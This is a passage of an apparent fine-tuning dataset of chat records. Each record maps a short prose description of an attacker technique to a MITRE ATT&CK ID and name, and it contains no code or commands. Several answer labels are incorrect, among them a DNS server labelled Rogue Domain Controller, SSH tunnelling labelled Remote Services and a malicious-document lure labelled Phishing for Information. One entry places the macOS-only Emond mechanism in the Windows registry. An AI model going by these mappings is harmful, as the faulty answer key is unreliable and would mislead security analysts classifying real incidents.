        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware writes a launch daemon configuration that executes a hidden shell script during system initialization."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host runs a .vbs file that iterates over network shares, copying files to a staging directory for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installs a counterfeit AD DNS server that answers queries and directs clients to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the Win32_Process class via WMI to spawn new processes with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code pulls documents from the user's desktop and sends them to a command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses the Windows command interpreter to modify the registry via 'reg add' commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By inserting a malicious entry into the Active Setup registry hive, the malware ensures its DLL is loaded each time the user initiates a new Explorer instance."
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Boot or Logon Autostart Execution: Active Setup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor conducts a social engineering phone call to trick the employee into installing a remote access tool."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Extra Window Memory Injection technique, the adversary hijacks an existing process by writing its backdoor into the extra window buffer and invoking it through a window event."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary emails a seemingly legitimate image file that is actually a malicious LNK shortcut, leading to credential theft."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third-party service was used by the attacker to steal API keys and access the target's environment."
            },
            {
                "role": "assistant",
                "content": "T1650 - Acquire Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware queries the environment variable %USERNAME% to identify the logged‑in user."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised developer account is used to publish a tainted container image, which is then pulled and deployed by the victim."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware queries the Windows Registry at `HKLM\\SAM\\Domains\\Account\\Groups` to discover local groups."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers replace the default pam_unix.so with a custom module that logs all passwords and forwards them to a remote C2 server before authenticating the user."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential dumping was achieved by loading a custom DLL into lsass.exe and reading the process's security credentials."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using XPC, the attacker bypasses sandbox restrictions by having a privileged service execute malicious code."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the unchanged default credentials of a database admin account to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group conducts AS‑REP roasting by sending AS‑REQ messages without an authenticator to the domain controller, capturing the encrypted response, and cracking the resulting hash."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leaves a voicemail with a disguised URL that, when visited, downloads a credential‑stealing payload onto the victim's workstation."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the Print Spooler service to load a custom print processor binary at boot time."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After lateral movement, the intruder runs a third‑party disk sanitization tool that removes all file system metadata and data."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining initial access, the adversary stages a malicious PowerShell script on the compromised host by transferring it via SMB."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware campaign uses the PowerShell Invoke‑ReflectivePEInjection command to inject a malicious payload into a running lsass.exe process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the Linux utility systemd-run to start a malicious process with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a known vulnerability in a web service and sends a phishing email with a link that exploits the same flaw on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A C2 module queries the domain controller's trust relationship via the DCOM interface to map the trust topology."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set employs Mavinject to inject malicious code into the Windows kernel driver loader, executing the payload while appearing as a legitimate system component."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By configuring a malicious .scr file as the screensaver, the attacker achieves event‑triggered execution when the system becomes idle."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker encodes shellcode in hexadecimal strings and decodes it in memory before execution."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised Exchange server, the attacker runs a script that exports mailboxes to PST files."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware enumerates local Windows groups using net localgroup command."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised web page uses WebRTC to discover the local IP address and the browser's WebGL fingerprint for tracking."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage group adds a forwarding rule to a compromised Exchange mailbox to exfiltrate emails to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing Trojan captures Outlook login credentials to later retrieve mail via IMAP."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use legitimate remote file access tools to retrieve backup files stored in the organization's archive server."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor injects code into a legitimate process and uses XPC messaging to coordinate actions between the compromised and victim processes."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through phishing emails, the group tricks users into revealing their email addresses, which are then aggregated for credential stuffing attacks."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker steals valid RDP credentials and then connects to the target's remote desktop session, taking control of the active user’s session."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor utilized the AD module's Get-ADGroup cmdlet to enumerate domain groups for permission group discovery."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs Emond to set up an event‑driven trigger that executes a DLL whenever a specific registry key change is logged in the System event log."
            },
            {
                "role": "assistant",
                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a misconfigured public S3 bucket to harvest backup archives."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor’s payload triggers a BIOS‑level wipe that irreversibly clears all attached storage devices."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the user’s PATH entry in the registry to include a path to a malicious script, intercepting calls to common utilities."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker writes malicious code into the Thread Local Storage of a target process and then triggers execution via a hijacked thread context."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a stored XSS flaw to harvest session cookies from logged-in users and reuse them for unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A targeted phishing email appears to come from the HR department, including a link to a fake benefits portal that captures login credentials after the victim signs in."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages a vulnerable kernel module within a virtual machine to break out and gain control of the hypervisor host."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan creates an encrypted channel using Blowfish with a static key to send stolen data."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware sample on macOS runs 'security dump-keychain' to harvest stored VPN credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion included extracting the configuration dump from a network device's NVRAM."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intrusion tools use steganography within image files uploaded to public image hosting sites as an alternative C2 path."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script leverages the SetupAPI function SetupDiGetClassDevs to enumerate device drivers."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using valid domain user credentials, threat actors authenticate to remote services and evade detection."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign includes a malicious QR code displayed in a phishing flyer that, when scanned, opens a web form asking for the victim’s email address and two‑factor authentication code."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the Application Compatibility Toolkit, the intruder configures a shim to replace a legitimate library with a malicious one at runtime."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware registers a malicious Office add‑in via the HKCU\\Software\\Microsoft\\Office\\Addins key to persist."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary tunnels malicious traffic through an SSH tunnel to evade detection and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a Google Workspace admin account through credential stuffing and then exfiltrate user email data via the API."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary embeds malicious macros inside the headers of JPEG files to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages crafted ARP replies and gratuitous ARP messages to issue commands to infected machines without using TCP/UDP."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to hide their actions, the threat group erases recent PowerShell transcript files from the %AppData%\\Microsoft\\Windows\\PowerShell\\Transcripts directory."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses an internal proxy to forward malicious requests, hiding the true source of the traffic."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker generates a self‑signed code‑signing certificate to sign malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware fragments its command line instructions across multiple lines and reassembles them in memory to avoid static analysis."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware changed the last accessed time of log files to evade detection by security monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An infected host runs a script that queries the Windows Event Log for successful logon events to harvest usernames."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A campaign involves sending targeted emails that appear to come from a trusted partner, prompting recipients to download a malicious document."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages misconfigured file permissions on a Windows MSI installer to replace it with a backdoored version, which runs with system privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits the Windows unquoted service path vulnerability by adding a malicious file in a parent directory, causing the system to execute it when the service starts."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group modifies a shared spreadsheet in a collaboration platform, adding a formula that executes a PowerShell command on opening."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs an LDAP query to find objects with the 'smbShare' attribute, revealing network share information."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor stopped the host’s endpoint protection service and replaced it with a malicious version."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the threat actor probes the device for available Wi‑Fi networks to map the local wireless environment."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi‑Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A signed but malicious port monitor driver is installed via a stolen code‑signing certificate, enabling persistent execution on system startup."
            },
            {
                "role": "assistant",
                "content": "T1547.010 - Boot or Logon Autostart Execution: Port Monitors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The C2 communication is performed via a bidirectional web socket connection to an external service, enabling real‑time command execution."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
